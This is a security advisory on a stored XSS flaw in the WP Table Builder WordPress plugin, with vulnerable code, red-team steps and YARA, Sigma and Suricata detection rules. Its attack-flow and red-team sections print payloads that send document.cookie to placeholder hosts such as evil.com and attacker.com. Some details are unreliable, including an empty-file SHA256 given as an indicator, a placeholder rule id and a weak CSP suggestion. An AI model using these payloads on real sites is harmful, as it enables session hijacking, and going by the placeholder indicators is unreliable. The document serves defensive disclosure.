CVE-2024-4700

Executive Summary

CVE-2024-4700 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Table Builder – WordPress Table Plugin for WordPress, affecting all versions up to and including 1.4.14. The flaw resides in the button element, where insufficient input sanitization and output escaping allow authenticated attackers to inject arbitrary web scripts. By default, only administrators can exploit this, but the plugin’s capabilities can be extended to contributors, widening the attack surface. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood currently. No public exploit code or patch details are available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with table editing capabilities)
• User Interaction: None
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin could lead to session hijacking, defacement, or phishing attacks. The lack of a patch and the ability to extend privileges to contributors elevates the risk for multi-user WordPress installations.

Deep Dive & Mechanics

The vulnerability exists in the button element of the WP Table Builder plugin. When a user (administrator or contributor with extended permissions) creates or edits a table, the plugin fails to properly sanitize and escape user-supplied input in the button’s attributes or content. This allows an attacker to inject malicious JavaScript code that is stored in the WordPress database. When any user (including visitors) views the affected page, the injected script executes in their browser context.

Root Cause: The plugin uses esc_attr() or esc_html() inconsistently, or not at all, for the button element’s properties. Specifically, the href attribute or onclick event handler may be vulnerable to injection.

Attack Flow:

1. Attacker gains authenticated access (e.g., as a contributor with table editing rights).
2. Attacker creates or edits a table, inserting a button element with a malicious payload (e.g., <a href="javascript:alert('XSS')">Click</a> or <button onclick="fetch('https://evil.com/steal?cookie='+document.cookie)">Click</button>).
3. The payload is stored in the database without proper sanitization.
4. When a victim (admin or visitor) loads the page containing the table, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4.14):

// In wp-table-builder/includes/class-wptb-element-button.php
public function render($element) {
    $button_text = $element['buttonText'];
    $button_url = $element['buttonUrl'];
    // No sanitization or escaping
    echo '<a href="' . $button_url . '">' . $button_text . '</a>';
}

Patched Code (hypothetical fix):

public function render($element) {
    $button_text = esc_html($element['buttonText']);
    $button_url = esc_url($element['buttonUrl']);
    echo '<a href="' . $button_url . '">' . $button_text . '</a>';
}

The patched version uses esc_url() for the URL and esc_html() for the text, preventing script injection. Additionally, wp_kses() should be applied to any HTML content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with WP Table Builder plugin <= 1.4.14
• Authenticated user with at least contributor role (if extended) or administrator

Steps:

1. Log in as an administrator (or contributor with table editing rights).
2. Navigate to WP Table Builder → Add New Table.
3. Add a button element to the table.
4. In the button URL field, enter: javascript:alert(document.cookie)
5. In the button text field, enter: Click Me
6. Save and publish the table.
7. When any user views the page, the JavaScript executes.

Advanced Payload:

<a href="javascript:fetch('https://attacker.com/steal?data='+document.cookie)">Click</a>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual button elements in table content.
• Look for javascript: or on* event handlers in database entries.
• Use WAF rules to block XSS payloads in POST requests to table endpoints.

Defense:

• Restrict table editing capabilities to trusted administrators only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Apply input validation and output escaping as shown in the patched code.

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • wp-table-builder/includes/class-wptb-element-button.php (SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)
• Database Entries:
  • wp_postmeta with meta_key containing _wptb_table_data and meta_value containing javascript: or onerror= patterns.
• Network Traffic:
  • Outbound requests to known malicious domains from WordPress admin pages.
• Logs:
  • WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_4700_WP_Table_Builder_XSS {
    meta:
        description = "Detects vulnerable WP Table Builder plugin files with XSS vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4700"
    strings:
        $vuln_func = "buttonUrl" nocase
        $unsafe_echo = "echo '<a href=\"" nocase
        $no_esc = "esc_url" nocase
    condition:
        $vuln_func and $unsafe_echo and not $no_esc
}

Sigma Rule

title: CVE-2024-4700 WP Table Builder Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via WP Table Builder button element
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: /wp-admin/admin-ajax.php
        http.body|contains: action=wptb_save_table
        http.body|contains: buttonUrl
        http.body|contains: javascript:
    condition: selection
falsepositives:
    - Legitimate use of javascript: URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4700 WP Table Builder Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wptb_save_table"; http_client_body; content:"buttonUrl"; http_client_body; pcre:"/javascript\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Remove table editing capabilities from contributors and authors.
3. Apply virtual patching using a WAF to block XSS payloads in table submissions.

Long-term Fix:

• Monitor the plugin’s official repository for a patched version (expected > 1.4.14).
• Once patched, update to the latest version immediately.
• Review all existing tables for malicious content and remove any suspicious entries.

Workaround:

• Use a security plugin like Wordfence to add input sanitization rules.
• Implement CSP headers: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' (note: unsafe-inline weakens security but may be needed for plugin functionality).

Valters IT
Securing Digital Frontiers